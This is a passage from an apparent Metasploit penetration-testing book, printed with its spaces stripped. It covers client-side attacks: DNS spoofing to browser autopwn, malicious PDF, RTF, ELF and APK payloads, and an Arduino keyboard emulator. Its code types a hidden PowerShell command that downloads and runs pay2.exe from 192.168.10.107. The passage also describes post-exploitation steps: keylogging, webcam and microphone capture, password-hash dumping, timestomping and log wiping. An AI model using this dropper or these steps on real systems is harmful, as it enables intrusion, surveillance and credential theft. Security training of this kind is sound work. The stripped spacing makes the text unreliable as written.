Assoonasthevictimbrowsestotheinfectedwebsite,browserautopwnwillrunontheirbrowserautomatically.However,makesurethatthebrowserautopwnmoduleisrunning.Ifnot,youcanusethefollowingcommands:

Ifeverythinggoeswell,wewillbeabletogetmeterpreterrunningonthetargetsystem.Thewholeideaistousethetargetsitetolurethemaximumnumberofvictimsandgainaccesstotheirsystems.Thismethodisveryhandywhileworkingonawhiteboxtest,wheretheusersofaninternalwebserverarethetarget.Let'sseewhathappenswhenthevictimbrowsestothemaliciouswebsite:

WecanseethatacallismadetotheIP192.168.10.107,whichisourbrowser

autopwnserver.Let'sseetheviewfromattacker'ssideasfollows:

Wecanseethatexploitationisbeingcarriedoutwithease.Onsuccessfulexploitation,wewillbepresentedwiththemeterpreteraccessasdemonstratedinthepreviousexample.

ConjunctionwithDNSspoofing

Theprimarymotivebehindallattacksonavictim'ssystemistogainaccesswithminimaldetectionandthelowestriskofcatchingtheeyeofthevictim.

Now,wehaveseenthetraditionalbrowserautopwnattackanditsmodificationtohackintothewebsite'stargetaudienceaswell.Still,wehavetheconstraintofsendingthelinktothevictimsomehow.

Inthisattack,wewillconductthesamebrowserautopwnattackonthevictimbutinadifferentway.Inthiscase,wewillnotsendanylinkstothevictim.Instead,wewillsimplywaitforthemtobrowsetheirfavoritewebsites.

ThisattackwillworkonlyintheLANenvironment.ThisisbecauseinordertoexecutethisattackweneedtoperformARPspoofing,whichworksonlayer2andworksonlyunderthesamebroadcastdomain.However,ifwecanmodifythehostsfileoftheremotevictimsomehow,wecanalsoperformthisoveraWAN,andthisisgenerallytermedaPharmingattack.

TrickingvictimswithDNShijacking

Let'sgetstarted.Here,wewillconductanARPpoisoningattackagainstthevictimandspooftheDNSqueries.Therefore,ifthevictimtriestoopenacommonwebsite,suchashttp://google.com,whichismostcommonlybrowsed,theywillgetthebrowserautopwnserviceinreturn,whichwillresultintheirsystemgettingattackedbythebrowserautopwnserver.

WewillfirstcreatealistofentriesforpoisoningtheDNSsothatwheneveravictimtriestoopenadomain,thenameofthedomainpointstotheIPaddressofourbrowserautopwnservice,insteadofhttp://www.google.com.ThespoofedentriesfortheDNSresideinthefollowingfile:

Inthisexample,wewilluseoneofthemostpopularsetsofARPpoisoningtools,ettercap.First,wewillsearchthefileandcreateafakeDNSentryinit.ThisisimportantbecausewhenavictimtriestoopenthewebsiteinsteadofitsoriginalIP,theywillgetourcustom-definedIPaddress.Inordertodothis,weneedtomodifytheentriesintheetter.dnsfile,asshowninthefollowingscreenshot:

Weneedtomakethefollowingchangesinthissection:

ThisentrywillsendtheIPaddressoftheattacker'smachinewheneveravictimmakesarequestforhttp://google.com.Aftercreatinganentry,savethisfileandopenEttercapusingthecommandshowninthefollowingscreenshot:

TheprecedingcommandwilllaunchEttercapingraphicalmode,asshowninthefollowingscreenshot:

WeneedtoselecttheUnifiedsniffing...optionfromtheSnifftabandchoosetheinterfaceasyourdefaultinterface,whichiseth0,asshowninthefollowingscreenshot:

Thenextstepistoscantherangeofthenetworktoidentifyallofthehoststhatarepresentonthenetwork,whichincludesthevictimandtherouter,asshowninthefollowingscreenshot:

Dependingupontherangeofaddresses,allofthescannedhostsarefilteredupontheirexistence,andallexistinghostsonthenetworkareaddedtothehostlist,asshowninthefollowingscreenshot:

Toopenthehostlist,weneedtonavigatetotheHoststabandselectHostList,

asshowninthefollowingscreenshot:

ThenextstepistoaddtherouteraddresstoTarget2andthevictimtoTarget1.WehaveusedtherouterasTarget2andthevictimasTarget1becauseweneedtointerceptinformationcomingfromthevictimandgoingtotherouter.

ThenextstepistobrowsetotheMITMtabandselectARPPoisoning,asshowninthefollowingscreenshot:

Next,clickonOKandproceedtothenextstep,whichistobrowsetotheStarttabandchooseStartSniffing.ClickingontheStartSniffingoptionwillnotifyuswithamessagesayingStartingUnifiedsniffing:

ThenextstepistoactivatetheDNSspoofingpluginfromthePluginstabwhilechoosingManagetheplugins,asshowninthefollowingscreenshot:

Double-clickonDNSspoofplug-intoactivateDNSspoofing.Now,whatactuallyhappensafteractivatingthispluginisthatitwillstartsendingthefakeDNSentriesfromtheetter.dnsfilethatwemodifiedpreviously.Therefore,wheneveravictimmakesarequestforaparticularwebsite,thefakeDNSentryfromtheetter.dnsfilereturnsinsteadofthewebsite'soriginalIP.

ThisfakeentryistheIPaddressofourbrowserautopwnservice.Therefore,insteadofgoingtotheoriginalwebsite,avictimisredirectedtothebrowserautopwnservice,wheretheirbrowserwillbecompromised.

Let'salsostartourmaliciousbrowserautopwnserviceonport80:

Now,let'sseewhathappenswhenavictimtriestoopenhttp://google.com/:

Let'salsoseeifwegotsomethinginterestingontheattackersideornot:

Amazing!Weopenedmeterpreterinthebackground,whichconcludesthatourattackhasbeensuccessful,withoutsendinganylinkstothevictim.TheadvantageofthisattackisthatweneversendanylinkstothevictimsincewepoisonedtheDNSentriesonthelocalnetwork.However,inordertoexecutethisattackonWANnetworks,weneedtomodifythehostfileofthevictim,sothatwheneverarequesttoaspecificURLismade,aninfectedentryinthehostfileredirectsittoourmaliciousautopwnserver,asshowninthefollowingscreenshot:

So,manyothertechniquescanbereinventedusingavarietyofattackssupportedinMetasploitaswell.

MetasploitandArduino-thedeadlycombinationArduino-basedmicrocontrollerboardsaretinyandamazingpiecesofhardwarethatcanactasalethalweaponwhenitcomestopenetrationtesting.AfewoftheArduinoboardssupportkeyboardandmouselibraries,whichmeansthattheycanactasanHIDdevice.

Therefore,theselittleArduinoboardscanstealthilyperformhumanactionssuchastypingkeys,movingandclickingwithamouse,andmanyotherthings.Inthissection,wewillemulateanArduinoProMicroboardasakeyboardtodownloadandexecuteourmaliciouspayloadfromtheremotesite.However,theselittleboardsdonothaveenoughmemorytoholdthepayloadwithintheirmemory,soadownloadisrequired.

Tip

FormoreonexploitationusingHIDdevices,refertoUSBRubberDuckyorTeensy.

Teensy.

TheArduinoProMicrocostslessthan$4onpopularshoppingsitessuchasAliexpress.comandmanyothers.Therefore,itismuchcheapertouseArduinoProMicrothanTeensyandUSBRubberDucky.

ItisveryeasytoconfiguretheArduinousingitscompilersoftware.Readerswhoarewellversedinprogrammingconceptswillfindthisexerciseveryeasy.

Note

Refertohttps://www.arduino.cc/en/Guide/WindowsformoreonsettingupandgettingstartedwithArduino.

Let'sseewhatcodeweneedtoburnontheArduinochip:

#include<Keyboard.h>

voidsetup(){

delay(2000);

type(KEY_LEFT_GUI,false);

type('d',false);

Keyboard.releaseAll();

delay(500);

type(KEY_LEFT_GUI,false);

type('r',false);

delay(500);

Keyboard.releaseAll();

delay(1000);

print(F("powershell-windowstylehidden(new-object

System.Net.WebClient).DownloadFile('http://192.168.10.107/pay2.exe'

,'%TEMP%\\mal.exe');Start-Process"%TEMP%\\mal.exe""));

delay(1000);

type(KEY_RETURN,false);

Keyboard.releaseAll();

Keyboard.end();

}

voidtype(intkey,booleanrelease){

Keyboard.press(key);

if(release)

Keyboard.release(key);

}

voidprint(const__FlashStringHelper*value){

Keyboard.print(value);

}

voidloop(){}

Wehaveafunctioncalledtypethattakestwoarguments,whicharethenameofthekeytopressandrelease,whichdeterminesifweneedtoreleaseaparticularkey.Thenextfunctionisprint,whichoverwritesthedefaultprintfunctionbyoutputtingtextdirectlyonthekeyboardpressfunction.Arduinohasmainlytwofunctions,whichareloopandsetup.Sinceweonlyrequireourpayloadtodownloadandexecuteonce,wewillkeepourcodeinthesetupfunction.TheLoopfunctionisrequiredwhenweneedtorepeatablockofinstructions.Thedelayfunctionisequivalenttothesleepfunctionthathaltstheprogramforcertainmilliseconds.type(KEY_LEFT_GUI,false);willpresstheleftwindowskeyonthetarget,andsinceweneedtokeepitpressed,wewillpassfalseasthereleaseparameter.Next,inthesameway,wepassthekeyd.Now,wehavetwokeyspressed,whichareWindows+d(theshortcuttoshowthedesktop).AssoonasweprovideKeyboard.releaseAll();theWindows+dcommandispushedtoexecuteonthetarget,whichwillminimizeeverythingfromthedesktop.

Note

FindoutmoreaboutArduinokeyboardlibrariesathttps://www.arduino.cc/en/Reference/KeyboardModifiers.

Similarly,weprovidethenextcombinationtoshowtherundialogbox.Next,weprintthePowerShellcommandintherundialogbox,whichwilldownloadourpayloadfromtheremotesite,whichis192.168.10.107/pay2.exe,totheTempdirectoryandwillexecuteitfromthere.Providingthecommand,weneedtopressEnterinordertoexecutethecommand.

WecandothisbypassingKEY_RETURNasthekeyvalue.Let'sseehowwewritetotheArduinoboard:

WecanseewehavetochooseourboardtypebybrowsingtoToolsmenuasshownintheprecedingscreenshot.Next,weneedtochoosethecommunicationportfortheboard:

Next,wesimplyneedtowritetheprogramtotheboardbypressingthe->icon:

OurArduinoisnowreadytobepluggedintothevictim'ssystem.Thegoodnewsisthatitemulatesitselfasakeyboard.Therefore,youdonothavetoworryaboutdetection.However,thepayloadneedstobeobfuscatedwellenoughthatevadesAVdetections.

Pluginthedevicelikeso:

Assoonaswepluginthedevice,withinafewmilliseconds,ourpayloadisdownloaded,executesonthetargetsystem,andprovidesuswiththefollowinginformation:

Let'shavealookathowwegeneratedthepayload:

Wecanseewegeneratedasimplex64meterpreterpayloadforWindows,whichwillconnectbackonport5555.WesavedtheexecutabledirectlytotheApachefolderandinitiatedApacheasshownintheprecedingscreenshot.Next,wesimplystatedanexploithandlerthatwilllistenforincomingconnectiononport5555asfollows:

Wesawaverynewattackhere.Usingacheapmicrocontroller,wewereabletogainaccesstoaWindows10system.ArduinoisfuntoplaywithandIwouldrecommendfurtherreadingonArduino,USBRubberDucky,Teensy,andKaliNetHunter.KaliNetHuntercanemulatethesameattackusinganyAndroidphone.

Note

FormoreonTeensy,gotohttps://www.pjrc.com/teensy/.FormoreonUSBRubberDuckygotohttp://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe.

Fileformat-basedexploitationWewillbecoveringvariousattacksonthevictimusingmaliciousfilesinthissection.Therefore,wheneverthesemaliciousfilesrun,itprovidesmeterpreterorshellaccesstothetargetsystem.Inthenextsection,wewillcoverexploitationusingmaliciousdocumentandPDFfiles.

PDF-basedexploits

PDFfileformat-basedexploitsarethosethattriggervulnerabilitiesinvariousPDFreadersandparsers,whichwhenaremadetoexecutethepayloadcarryingPDFfiles,presentingtheattackerwithcompleteaccesstothetargetsystemintheformofameterpretershelloracommandshell.However,beforegettingintothetechnique,let'sseewhatvulnerabilitywearetargetingandwhattheenvironmentdetailsare:

Testcases Description

Vulnerability StackoverflowinuniquenamefromtheSmartIndependentGlyplets(SING)table

Exploitedonoperatingsystem Windows732-bit

Softwareversion AdobeReader9

AffectedversionsAdobeReader9.3.4andearlierversionsforWindows,Macintosh,andUNIX

AdobeAcrobat9.3.4andearlierversionsforWindowsandMacintosh

CVEdetails http://www.adobe.com/support/security/advisories/apsa10-02.html

Exploitdetails /modules/exploits/windows/fileformat/adobe_cooltype_sing.rb

Toexploitthevulnerability,wewillcreateaPDFfileandsendittothevictim.WhenthevictimtriestoopenourmaliciousPDFfile,wewillbeabletogetthemeterpretershellorthecommandshellbaseduponthepayloadused.Let'stakeastepfurtherandtrytobuildthemaliciousPDFfile:

Let'sseewhatoptionsweneedtosetinordertoexecutetheattackproperly:

Wesetthepayloadasreverse_tcptocreateaconnectionbacktotheattackermachinefromthevictimsystem.Thisisbecausewearenotconnectingtothevictimdirectly.Avictimmayopenafileeventually.Therefore,reverse_tcpwillcreateaconnectiontothelistenerattheattacker'ssystemwheneverthevictimexecutesthemaliciousfile,asshowninthefollowingscreenshot:

Wesetalloftherequiredoptions,suchasLHOSTandLPORT.Thesearerequiredtomakeaconnectionbacktotheattacker'smachine.Aftersettingalloftheoptions,weusetheexploitcommandtocreateourmaliciousfileandsendittothevictim,asshowninthefollowingscreenshot:

AfterwegeneratethePDFfilecarryingourmaliciouspayload,wesendittothevictim.Next,weneedtolaunchanexploithandler,whichwilllistentoalltheconnectionsmadefromthePDFfiletotheattacker'smachine.exploit/multi/handlerisaveryusefulmoduleinMetasploitthatcanhandleanytypeofexploitconnection,whichavictim'smachinemakesafterexploitationiscomplete,asshowninthefollowingscreenshot:

AftersettingandconfiguringthehandlerwiththesamedetailsasusedinthePDFfile,werunitusingtheexploitcommand.Now,assoonasthevictimexecutesthefile,wegetameterpretersessiononthevictim'ssystem,asseenintheprecedingscreenshot.

Inaddition,onthevictimside,AdobeReaderwillpossiblyhangup,whichwillfreezethesystemforsomeamountoftime,asshowninthefollowingscreenshot:

Tip

Quicklymigratetoanotherprocessusingthemigratecommand,asthecrashingoftheAdobeReaderwillcausethemeterpretershelltobedestroyed.

Word-basedexploits

Word-basedexploitsfocusonvariousfileformatsthatwecanloadintoMicrosoftWord.However,afewfileformatsexecutemaliciouscodeandcanlettheattackergainaccesstothetargetsystem.WecantakeadvantageofWord-basedvulnerabilitiesinexactlythesamewayaswedidforPDFfiles.Let'squicklyseesomebasicfactsrelatedtothisvulnerability:

Testcases Description

Vulnerability ThepFragmentsshapepropertywithintheMicrosoftWordRTFparserisvulnerabletostack-basedbufferoverflow

Exploitedonoperatingsystem Windows732-bit

Softwareversioninourenvironment MicrosoftWord2007

Affectedversions

MicrosoftOfficeXPSPMicrosoftOffice2003SP3MicrosoftOffice2007SP2MicrosoftOffice2010(32-biteditions)MicrosoftOffice2010(64-biteditions)MicrosoftOfficeforMac2011

CVEdetails http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=880

Exploitdetails /exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb

Let'strygainingaccesstothevulnerablesystemwiththeuseofthisvulnerability.So,let'squicklylaunchMetasploitandcreatethefile,asdemonstratedinthefollowingscreenshot:

Settherequiredoptions,whichwillhelpustoconnectbackfromthevictimsystem,andtherelatedfilename,asshowninthefollowingscreenshot:

WeneedtosendtheNPJ.rtffiletothevictimthroughanyoneofmanymeans,suchasuploadingthefileandsendingthelinktothevictim,droppingthefileinaUSBstick,ormaybeinacompressedzipformatinane-mail.Now,assoonasthevictimopensthisWorddocument,wewillbegettingthemeterpretershell.However,togetmeterpreteraccess,weneedtosetupthehandlerasshowninthefollowingscreenshot:

Setalloftherequiredoptions,suchaspayloadandLHOST.Let'ssetthepayload:

Let'ssetthevalueofLHOSTtoo.Inaddition,keepthedefaultport4444asLPORT,whichisalreadysettodefault,asshowninthefollowingscreenshot:

Weareallsettolaunchthehandler.Let'slaunchthehandlerandwaitforthevictimtoopenourmaliciousfile:

Aswecanseeintheprecedingscreenshot,wegetthemeterpretershellinnotimeatall.Whileontheotherhand,atthevictim'sside,let'sseewhatthevictimiscurrentlyviewing:

Aswecansee,thevictimisseeingMicrosoftWord(NotResponding),whichmeanstheapplicationisabouttocrash.Afterafewseconds,weseeanotherwindow,showninthefollowingscreenshot:

ThisisaserioushangupinMicrosoftOffice2007.Therefore,itisbettertomigratetoadifferentprocessoraccessmaybelost.

CompromisingLinuxclientswithMetasploitItisquiteeasytospawnashellonaLinuxboxwithMetasploitusingelffilesinasimilarwaythatwedidforWindowsboxesusingexecutables(.exe).WesimplyneedtocreateanelffileusingmsfvenomandthenpassitontotheLinuxsystem.Wewillrequireanexploithandlertohandleallcommunicationsfromtheexploitedsystemaswell.Let'sseehowwecancompromiseaLinuxboxwithease:

WecreatedanelffileandcopiedittoApache'spublicdirectory,exactlythewaywedidinthepreviousexamplesofmsfvenom.TheonlydifferenceisthattheelfisthedefaultbinaryformatforLinuxsystems,whileexeisthedefaultformatforWindows.Thenextstepistogainaccesstothetargetsystemphysicallyorbysendingthemaliciousfile.Let'ssaywegotphysicalaccesstothesystemandperformedthefollowingsteps:

Wedownloadedthefileusingthewgetutilityandgavefullpermissionstothefileusingthechmodutility.

Tip

Allowinga600permissionsmaskonthemaliciousfileratherthan777willlimitotherusersfromaccessingthemaliciousfile.Thisisgenerallyconsideredasabestpracticewhileconductingaprofessionalpenetrationtest.

Next,wesimplyexecutedthefile,whichtriggeredourexploithandler,andwegotmeterpreteraccess,asshowninthefollowingscreenshot:

ItwasquiteeasytopawnameterpreterfromaLinuxsystem.However,Linuxsystemscanbeattackedusingmaliciouspackagesaswell.Inthosecases,whenauserinstallsamaliciouspackage,ittriggerstheexploithandler.

Tip

There'smoreinformationonbinaryLinuxTrojansathttps://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/.

AttackingAndroidwithMetasploitTheAndroidplatformcanbeattackedeitherbycreatingasimpleAPKfileorbyinjectingthepayloadintotheexistingAPK.Wewillcoverthefirstone.Let'sgetstartedbygeneratinganAPKfilewithmsfvenomasfollows:

OngeneratingtheAPKfile,allweneedtodoistoeitherconvincethevictim(performsocialengineering)toinstalltheAPKorphysicallygainaccesstothephone.Let'sseewhathappensonthephoneassoonasavictimdownloadsthemaliciousAPK:

Oncethedownloadiscomplete,theuserinstallsthefileasfollows:

Mostpeoplenevernoticewhatpermissionsanappasksfor.So,anattackergainscompleteaccesstothephoneandstealspersonaldata.Theprecedingscreenshotliststherequiredpermissionsanapplicationneedsinordertooperatecorrectly.Oncetheinstallhappenssuccessfully,theattackergainscompleteaccesstothetargetphone:

Whooaaa!Wegotmeterpreteraccesseasily.Postexploitationiswidelycoveredinthenextchapter.However,let'sseesomeofthebasicfunctionalities:

Wecanseethatrunningthecheck_rootcommandstatesthatthedeviceisrooted.Let'sseesomeotherfunctions:

Wecanusesend_smscommandtosendaSMStoanynumberfromtheexploitedphone.Let'sseeifthemessagewasdeliveredornot:

Bingo!Themessagewasdeliveredsuccessfully.Meanwhile,let'sseewhatsystemwebrokeintousingthesysinfocommand:

Let'sgeolocatethemobilephone:

Let'sgeolocatethemobilephone:

BrowsingtheGooglemapslink,wecangettheexactlocationofthemobilephone:

Let'stakesomepictureswiththeexploitedphone'scamera:

Wecanseewegotthepicturefromthecamera.Let'sviewtheimage:

Wecanseewegotthepicturefromthecamera.Let'sviewtheimage:

SummaryThischapterexplainedahands-onapproachtoclient-basedexploitation.Learningclient-basedexploitationwilleaseapenetrationtesterininternalauditsorinasituationwhereinternalattackscanbemoreimpactfulthanexternalones.

Inthischapter,welookedatavarietyoftechniquesthatcanhelpusattackclient-basedsystems.Welookedatbrowser-basedexploitationanditsvariants.WeexploitedWindows-basedsystemsusingArduino.Welearnedhowwecouldcreatevariousfileformat-basedexploitsanduseMetasploitwithDNS-spoofingattackvectors.Lastly,wealsolearnedhowtoexploitLinux-basedclientsandexploitAndroiddevices.

Inthenextchapter,wewilllookatadvancedattackvectorsandpostexploitationindetail.

Chapter8.MetasploitExtended"Don'tbeafraidtosteal,juststealtherightstuff"-MikeMonteiro

Thischapterwillfeatureextendedfeaturesandhardcorepostexploitation.Throughoutthischapter,wewillfocusonout-of-the-boxapproachesforpostexploitationandwillcovertedioustaskssuchasprivilegeescalation,gettingpasswordsincleartext,findingjuicyinformation,andmuchmore.

Duringthecourseofthischapter,wewillcoverandunderstandthefollowingkeyaspects:

PerformingbasicpostexploitationUsingadvancedpostexploitationmodulesCarryingoutoperationscovertlyPrivilegeescalationFindingpasswordsfromthememory

Let'snowjumpintothepostexploitationfeaturesofMetasploitandstartwiththebasicsinthenextsection.

ThebasicsofpostexploitationwithMetasploitWehavealreadycoveredfewofthepost-exploitationmodulesinthepreviouschapters.However,wewillfocushereonthefeaturesthatwedidnotcover.Throughouttheprecedingchapters,wefocusedonexploitingthesystems,butnowwewillfocusonlyonthesystemsthathavebeenexploitedalready.So,let'sgetstartedwiththemostbasiccommandsusedinpost-exploitationinthenextsection.

BasicpostexploitationcommandsCoremeterpretercommandsarethosethatareavailableonmostexploitedsystemsusingameterpreterpayloadandthatprovidethebasiccorefunctionalitiesforpostexploitation.Let'sgetstartedwithsomeofthemostbasiccommandsthatwillhelpyougetstartedwithpost-exploitation.

Thehelpmenu

Wecanalwaysrefertothehelpmenutolistallthevariouscommandsthatareusableonthetargetbyissuinghelpor?asshowninthefollowingscreenshot:

Backgroundcommand

Whilecarryingoutpostexploitation,wemayrunintoasituationwhereweneedtoperformadditionaltasks,suchastestingforadifferentexploitorrunningaprivilegeescalationexploit.However,inordertoachievethatweneedtoputourcurrentmeterpretersessioninthebackground.Wecandothisbyissuingthebackgroundcommand,asshowninthefollowingscreenshot:

Wecanseeintheprecedingscreenshotthatwesuccessfullymanagedtoputoursessioninthebackgroundandre-interactedwiththesessionusingthesessions-icommandfollowedbythesessionidentifier.

MachineIDandUUIDcommand

WecanalwaysgetthemachineIDofanattachedsessionbyissuingthemachine_idcommandasfollows:

ToviewtheUUID,wecansimplyissuetheuuidcommand,asshowninthefollowingscreenshot:

Readingfromachannel

Carryingoutpostexploitation,wemayrequiretolistandreadfromaparticularchannel.Wecandothisbyissuingthechannelcommandasfollows:

Intheprecedingscreenshot,welistedalltheavailablechannelsbyissuingthechannel-lcommand,andusingthechannelID,wecanreadachannelbyissuingchannel-r[channel-id].Thechannelsubsystemallowsreading,listing,andwritingthroughallthelogicalchannelsthatexistedasacommunicationsub-channelthroughthemeterpretershell.

Gettingtheusernameandprocessinformation

Oncewelandinthetargetsystem,itisimportanttoknowthecurrentuserandtheprocessthatwebrokeinto.Thisisextremelyimportantinformationbecausewewillrequireitforprivilegeescalationandmigrationtoasaferprocess.Let'sseehowwecanfigureouttheusernameandprocessinformation:

Wecanseethatwefoundouttheusername,whichismm,byissuingthegetuidcommand,andwefoundoutthecurrentprocessIDthatspawnedthemeterpretersessionbyissuingthegetpidcommand.Let'sseewhichprocessourmeterpretersessionissittinginbyissuingthepscommand:

Aswecansee,weareintoaprocesswhosefileresidesinthetemporaryfolder.

Tip

Itisalwaysgoodtomigratetoasaferprocesssuchasexplorer.exeorsvchost.exe

Gettingsysteminformation

Systeminformationcanbegainedbyissuingthesysinfocommandaswesawinthepreviouschapters.Let'shaveaquicklook:

Networkingcommands

Wecangetnetworkinformationbyusingtheipconfig/ifconfig,arp,andnetstatcommandsasfollows:

TheipconfigcommandallowsustoviewthelocalIPaddressandanyotherassociatedinterfaces.Thiscommandisvitalbecauseitrevealsanyotherinternalnetworksconnectedtothecompromisedhosts.

Similarly,thearpcommandrevealsalltheIPaddressesassociatedwiththetargetsystem,whichwillallowustogainmoreinformationabouttheothersystemsinthevicinity,suchastheconnectedbroadcastdomain,asshowninthefollowingscreenshot:

Thenetstatcommanddisplaysalltheportinformationandtheassociateddaemonsrunningonit.Theresultofnetstatcommandshowsdetailedinformationontheapplicationsrunningonthetarget,asshowninthefollowingscreenshot:

Fileoperationcommands

Wecanviewthepresentworkingdirectorybyissuingthepwdcommandasfollows:

Additionally,wecanbrowsethetargetfilesystemusingthecdcommandandcreatedirectorieswiththemkdircommandasfollows:

Themeterpretershellallowsustouploadfilesontothetargetsystemusingtheuploadcommand.Let'sseehowitworks:

Wecaneditanyfileonthetargetbyissuingtheeditcommandfollowedbythefilename,asshownfollowing:

Let'snowviewthecontentofthefilebyissuingthecatcommandasfollows:

Wecanusethelscommandtolistallfilesinthedirectoryasfollows:

Wecanalsousethermdircommandtoremoveaparticulardirectoryfromthe

targetandthermcommandtoremoveafileasfollows:

Wecandownloadfilesfromthetargetusingthedownloadcommandasfollows:

Desktopcommands

Metasploitfeaturesdesktopcommandssuchasenumeratingdesktops,takingpicturesfromwebcamera,recordingfromthemic,streamingcameras,andmuchmore.Let'sseethesefeatures:

Informationassociatedwiththetargetdesktopcanbecompromisedusingenumdesktopsandgetdesktop.Theenumdesktopcommandlistsalltheaccessibledesktops,whereasgetdesktoplistsinformationrelatedtothecurrentdesktop.

Screenshotsandcameraenumeration

Itismandatoryforthetestertogetpriorpermissionsbeforetakingscreenshots,takingwebcamshots,runningalivestream,orkeylogging.However,wecanviewthetarget'sdesktopbytakingasnapshotusingthesnapshotcommand,asfollows:

Viewingthesavedjpegfile,wehavethis:

Let'sseeifwecanenumeratethecamerasandseewhoisworkingonthesystem:

Usingthewebcam_listcommand,wecanfindoutthenumberofcamerasassociatedwiththetarget.Let'sstreamthecamerasusingthewebcam_streamcommandasfollows:

Issuingtheprecedingcommandopensawebcamerastreaminthebrowser,asshowninthefollowingscreenshot:

Wecanalsooptforasnapshotinsteadofstreamingbyissuingthewebcam_snapcommandasfollows:

Sometimeswearerequiredtolistentotheenvironmentforsurveillancepurposes.Inordertoachievethatwecanusetherecord_miccommand,asfollows:

Wecansetthedurationofcapturewiththerecord_miccommandbypassingthenumberofsecondswiththe-dswitch.

Anothergreatfeatureisfindingtheidletimetofigureouttheusagetimelineandattackingthesystemwhentheuseronthetargetmachineislessactive.Thiscanbeachievedusingtheidletimecommandasfollows:

Interestinginformationthatcanbegainedfromthetargetiskeylogs.Wecandumpkeylogsbystartingthekeyboardsniffermodulebyissuingthekeyscan_startcommandasshownhere:

Afterfewseconds,wecandumpthekeylogsusingkeyscan_dumpcommandasfollows:

Throughoutthissection,we'veseenmanycommands.Let'snowmoveintotheadvancedsectionforpostexploitation.

AdvancedpostexploitationwithMetasploitInthissection,wewillusetheinformationgatheredfrombasiccommandstoachievefurthersuccessandaccesslevelsonthetarget.

Migratingtosaferprocesses

Aswesawintheprevioussection,ourmeterpretersessionwasloadedfromatemporaryfile.However,ifauserofatargetsystemfindstheprocessunusual,theycankilltheprocess,whichwillkickusoutofthesystem.Therefore,itisagoodpracticetomigratetoasaferprocess,suchasexplorer.exeorsvchost.exe,whichevadestheeyesofthevictim,byusingthemigratecommand.WecanusethepscommandtofigureoutthePIDoftheprocesswewanttojumpto,asshowninthefollowingscreen:

WecanseethatthePIDofexplorer.exeis1896.Let'susethemigratecommandtojumpintoit,asshowninthefollowingscreenshot:

Wecanseewesuccessfullymanagedtojumpintotheexplorer.exeprocess.

Tip

Migratingfromoneprocesstoaanothermaydowngradeprivileges.

Obtainingsystemprivileges

Iftheapplicationwebrokeintoisrunningwithadministratorprivileges,itisveryeasytoobtainsystem-levelprivilegesbyissuingthegetsystemcommand,asfollows:

Thesystem-levelprivilegesprovidethehighestlevelofprivilegeswiththeabilitytoperformalmostanythingontothetargetsystem.

Tip

getsystemmoduleisnotasreliableonthenewerversionofwindows.Itisadvisabletotrylocalprivilegeescalationmethodsandmodulesinordertoelevateprivileges.

Obtainingpasswordhashesusinghashdump

Oncewegainsystemprivileges,wecaneasilyfigureouttheloginpasswordhashesfromthecompromisedsystembyissuingthehashdumpcommandasfollows:

Findingoutpasswordhashes,wecanlaunchapass-the-hashattackonthetargetsystem.

Note

Formoreinformationonpass-the-hashattack,refertohttps://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/.

Refertoanexcellentvideoexplainingpass-the-hashattackanditsmitigationathttps://www.youtube.com/watch?v=ROvGEk4JG94.

Changingaccess,modificationandcreationtimewithtimestomp

Metasploitisusedeverywherefromprivateorganizationstolawenforcements.Therefore,whilecarryingoutcovertoperations,itishighlyrecommendedtochangethetimeofthefilesaccessed,modified,orcreated.Thiscanbeachievedusingthetimestompcommand.Intheprevioussection,wecreatedafilecalledcreditcard.txt.Let'schangeitstimepropertieswiththetimestompcommandasfollows:

Wecanseetheaccesstimeis2016-06-1923:23:15.Wecanusethe-zswitchtomodifyitto1999-11-2615:15:25,asshownintheprecedingscreenshot.Let'sseeifthefilewasmodifiedcorrectlyornot:

Wesuccessfullymanagedtochangethetimestampofthecreditcard.txtfile.Wecanalsoblankallthetimedetailsforafileusingthe-bswitchasfollows:

Tip

Byusingtimestompwecanindividuallychangemodified,accessed,andcreationtimesaswell.

AdditionalpostexploitationmodulesMetasploitoffers250+post-exploitationmodules.However,wewillonlycoverafewinterestingonesandwillleavetherestforyou.

GatheringwirelessSSIDswithMetasploit

Wirelessnetworksaroundthetargetsystemcanbediscoveredeasilyusingthewlan_bss_listmodule.Thisallowsustofingerprintlocationandotherimportantinformationaboutthetargetasfollows:

GatheringWi-FipasswordswithMetasploit

Similartotheprecedingmodule,wehavethewlan_profilemodule,whichgathersallsavedcredentialsforWi-Fifromthetargetsystem.Wecanusethemoduleasfollows:

Wecanseethenameofthenetworkinthe<name>tag,andthepasswordinthe<keyMaterial>tagintheprecedingscreenshot.

Gettingapplicationslist

Metasploitofferscredentialharvestersforvarioustypesofapplication.However,inordertofigureoutwhichapplicationsareinstalledonthetarget,weneedtofetchthelistoftheapplicationusingtheget_application_listmoduleasfollows:

Figuringouttheapplications,wecanrunvariousgathermodulesoverthetarget.

Gatheringskypepasswords

SupposewefiguredoutthatthetargetsystemisrunningSkype.MetasploitoffersagreatmoduletofetchSkypepasswordsusingtheSkypemodule:

GatheringUSBhistory

MetasploitfeaturesaUSBhistoryrecoverymodulethatfiguresoutwhichUSBdeviceswereusedonthetargetsystem.ThismoduleisextremelyusefulinscenarioswhereUSBprotectionissetinplaceandonlyspecificdevicesareallowedtoconnect.SpoofingtheUSBdescriptorsandhardwareIDsbecomesaloteasierwiththismodule.

Tip

FormoreonSpoofingUSBdescriptorsandbypassingendpointprotection,refertohttp://www.slideshare.net/the_netlocksmith/defcon-2012-hacking-using-usb-devices.

Let'sseehowwecanusethemodule:

SearchingfileswithMetasploit

Metasploitoffersacoolcommandtosearchforinterestingfiles,whichcanbedownloadedfurther.Wecanusethesearchcommandtolistallthefileswithjuicyinformationasfollows:

Wipinglogsfromtargetwithclearevcommand

Alllogsfromthetargetsystemcanbeclearedusingtheclearevcommand:

However,ifyouarenotalawenforcementagent,youshouldnotclearlogsfromthetargetbecauselogsprovideimportantinformationtotheblueteamstostrengthentheirdefences.Anothergreatmoduleforplayingwithlogs,knownasevent_manager,existsinMetasploit,asshowninthefollowingscreenshot:

Let'sjumpintotheadvancedextendedfeaturesofMetasploitinthenextsection.

AdvancedextendedfeaturesofMetasploitThroughoutthischapter,we'vecoveredalotofpostexploitation.Let'snowcoversomeoftheadvancedexploitationfeaturesofMetasploitinthissection.

PrivilegeescalationusingMetasploit

Duringthecourseofapenetrationtest,weoftenrunintosituationswherewehavelimitedaccessandifweruncommandssuchashashdump,wemightgetthefollowingerror:

